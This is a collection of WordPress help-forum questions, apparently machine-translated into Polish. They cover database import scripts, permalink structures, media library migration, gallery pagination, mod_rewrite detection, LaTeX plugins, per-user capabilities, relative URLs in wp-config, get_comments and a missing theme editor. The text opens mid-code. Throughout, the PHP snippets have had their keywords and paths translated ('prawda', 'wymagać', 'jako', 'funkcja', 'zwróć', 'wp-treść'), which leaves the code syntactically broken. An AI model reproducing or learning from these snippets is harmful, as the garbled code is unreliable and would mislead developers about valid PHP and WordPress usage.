$row['sehir']); add_post_meta($post_id, 'telefon', ''. $row['telefon'] .'', prawda); $posty[$i] = $post; $i++; } mysql_free_result($wyniki); mysql_close($conn); wymagać('wp-load.php'); foreach ($posts jako $post) { wp_insert_post($post); } ?> polecenie działa poprawnie, ale nie dodaje się do bazy danych wordpress, czy możesz mi w tym pomóc.


title: Zmienić strukturę permalinków na numer sekwencyjny dla każdego posta?

text: Właśnie stworzyłem wersję roboczą na moim blogu, a jej identyfikator posta to 1. Po utworzeniu kolejnej wersji roboczej, identyfikator posta dla tego ostatniego posta to 3! Miałem nadzieję, że zobaczę je w kolejności sekwencyjnej, więc w przyszłości będę miał ładną numerację z automatycznym przyrostem, taką jak ../archives/1 ../archives/2 kilka miesięcy później... ../archives/154 . ./archives/155 Nie mam problemu z zagłębieniem się w kod, ale zastanawiałem się, czy ktoś zna proste rozwiązanie, aby to osiągnąć. Dziękuję Ci.


title: Eksportowanie i importowanie bibliotek i galerii multimediów WordPress

text: Próbuję przenieść serię blogów z jednego miejsca do drugiego, oba z systemem 3.0.1, i nie mogę uzyskać bibliotek multimediów i galerii, które można znaleźć w procesie eksportu/importu. Jakieś pomysły, jak to zrobić? Skrót galerii pojawia się w treści posta, ale niczego nie wyświetla, ponieważ właściwa galeria się nie pojawia. Dzięki, Dave


title: Rozpocznij stronicowanie WP od numeru 1 w adresie URL

text: Używam tego kodu do stronicowania obrazów typu post w galerii: $images = get_posts(array( 'post_type' => 'attachment', 'post_status' => 'inherit', 'post__in' => $image_ids, 'orderby' => 'post__in', 'posts_per_page' => 1 )); następnie wyświetla je w pętli, umieszcza linki do stron na stronie w następujący sposób: 1.......15 Każdy przycisk linku ma odpowiadający mu link tak naprawdę: domena.com/post1/domena.com/post1/2 domena .com/post1/3 domain.com/post1/4 A to, czego potrzebuję, to aby pierwszy z nich otrzymał „1” przed linkiem, tak jak: domain.com/post1/1 Więc jak to zrobić?


title: mod_rewrite włączony, ale Permalinki pokazują index.php

text: Właśnie zainstalowałem blog znajomych na moim stosie LAMP, który ma włączoną opcję mod_rewrite (używam go do czystych adresów URL na moich instalacjach Drupala na tym samym serwerze). Z jakiegoś powodu WordPress (3.0.3) nie rozpoznaje, że mod_rewrite jest włączony. W menu Permalinki wyświetla opcje dla permalinków PATHINFO (z index.php poprzedzającym ciąg url). Moim rozwiązaniem na razie było po prostu użycie pola Custom Structure i wprowadzenie tego, czego chciałem, mniej części index.php, wydaje się, że WordPress zamierza wstawić, co działa, ale chciałbym uzyskać rzeczywistą poprawkę na to miejsce. Czy to anomalia w wersji 3.0.3? Nie miałem dużo czasu na zbadanie konfiguracji mojego serwera, ale wszelkie wskazówki byłyby bardzo mile widziane.


title: Rekomendacje dla wtyczki LaTeX?

text: Potrzebuję matematyki w witrynie WordPress i mam problem ze znalezieniem odpowiedniej wtyczki LaTeX. Wypróbowałem kilka rozwiązań, w tym MathJax (który jest powolny i renderuje niespójnie) oraz wtyczkę WP QuickLaTeX, która działa dobrze, ale nie pozwala na wyświetlanie równań (tylko równania inline) i przechowuje wszystkie obrazy na zewnętrznej stronie. Poproszę wtyczkę, która umożliwia wbudowane i wyświetlane równania, przechowuje obrazy lokalnie i nie zajmuje wieku, aby renderować matematykę na stronie. Czy to istnieje?


title: Czy istnieje prosty sposób zarządzania możliwościami na użytkownika?

text: Mam witrynę WordPress, na której niektóre osoby (klienci niebędący ekspertami) muszą tworzyć/zarządzać użytkownikami. Witryna używa wielu niestandardowych typów postów, a każdy użytkownik ma przypisane uprawnienia do jednego lub kilku z tych cpt. W tej chwili widzę dwa sposoby radzenia sobie z tym i nie jestem zbyt zadowolony z żadnego z nich. **(1) Role użytkownika** : Jeśli mam cztery niestandardowe typy postów (A,B,C,D), potrzebuję wielu ról użytkownika, aby objąć wszystkie kombinacje możliwości. (Rola A, Rola AB, Rola ABD...). Nie jest to zbyt wygodne dla klienta do zarządzania. **(2) Wtyczka do zarządzania możliwościami** : Gdybym miał zarządzać użytkownikami, użyłbym wtyczki, takiej jak "Edytor ról użytkownika". Ale jest to dość skomplikowane w obsłudze dla moich klientów niebędących ekspertami, a ryzyko zepsucia systemu jest wysokie. Myślę o tym, aby mieć proste pola wyboru (przynajmniej podczas tworzenia nowego użytkownika), w których klient może wybrać niestandardowe typy postów, do których nowy użytkownik powinien mieć dostęp. Na przykład: ten użytkownik będzie mógł zrobić wszystko z cpt A i B i D. Czy jest na to sposób i czy jest to w ogóle coś, co powinieneś zrobić z WordPress? * * * ## UPDATE @RyanLoremIpsum wskazał mi właściwy kierunek, dzięki czemu mogłem napisać małą wtyczkę, która jest tak prosta, jak tego potrzebuję. Wygląda mniej więcej tak: ![wybierz cpt, do którego użytkownik powinien mieć dostęp](http://i.stack.imgur.com/c8OAL.png)


title: Względny główny adres URL dla nazwy domeny Sub

text: Naprawdę mam trudności z używaniem względnego głównego adresu URL. Zainstalowałem folder mojej witryny Wordpress /root/mywordpress/tester1 i kiedy zainstalowałem moje witryny wordpress z moją subdomeną, taką jak http://mywordpress.mydomain.com/tester1. To nie działa i wszystkie obrazy są zepsute. Oto moje zastosowanie w pliku wp-config.php define('WP_HOME', 'http://'. $_SERVER['HTTP_HOST'].'/tester1/'); define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST'].'/tester1/'); define('WP_CONTENT_URL', 'tester1/wp-treść'); define('DOMAIN_CURRENT_SITE', $_SERVER['HTTP_HOST'] .'/tester1/'); Czy istnieją lepsze rozwiązania dotyczące używania względnego adresu URL root do instalowania wordpress w folderze subdomeny?


title: Uzyskaj tylko jeden komentarz na post dzięki get_comments

text: Czy istnieje sposób na ograniczenie wyników get_comments tylko do najnowszego komentarza z każdego posta?


title: Permalinki dla autorów cytatów

text: **Co mam:** Witryna z cytatami w formacie: „Tekst cytatu”. -Quote Author Zobacz quotup.com na mojej stronie testowej (z góry przepraszam za testowanie- wulgaryzmy). **Czego szukam:** Kliknięcie „-Cytat autora” powinno otworzyć stronę zawierającą wszystkie cytaty tego autora cytatu z adresem URL: example.com/SteveStevenson, gdzie Steve Stevenson jest autorem cytatu. **Co zrobiłem:** Utworzyłem niestandardową tabelę o nazwie wp_qauthor, która jest powiązana z wp_posts przez post_meta (qauthor_id). Dodano następujący kod do functions.php: add_filter('query_vars', 'add_my_var'); funkcja add_my_var($public_query_vars) { $public_query_vars[] = 'qaid'; zwróć $public_query_vars; } Utworzono link do nazwiska autora cytatu w następujący sposób: Steve Stevenson Kliknięcie tego linku aktualnie ładuje home.php, ale go potrzebuję do trafienia index.php, gdzie dodałem ten kod: elseif (get_query_var('qaid')) { $qaid = get_query_var('qaid'); query_posts($query_string . "&meta_key=qauthor_id&meta_value=" . $qaid);} **Pytania:** * Jak mam powiedzieć WP, aby wywołał index.php po kliknięciu na example.com?qaid=2 href? * Po kliknięciu powyższego linku, w jaki sposób mogę uzyskać pożądany, ładny link do witryny example.com/SteveStevenson? Wielkie dzięki!


title: Edytor motywów nie wyświetla się

text: Zrobiłem od podstaw niestandardowy motyw WordPress dla klienta, a następnie spakowałem go i wysłałem do niego. Dobrze zainstalowali motyw, ale z jakiegoś powodu edytor motywów się nie wyświetla. Chodzi mi o to, że nie ma już linku do "Edytora" w wyglądzie. Czy ktoś wie, dlaczego tak się stało? W pewnym momencie wszystkie wtyczki zostały wyłączone i nadal się nie wyświetlało. Udało mi się dostać do edytora motywów na mojej własnej stronie testowej.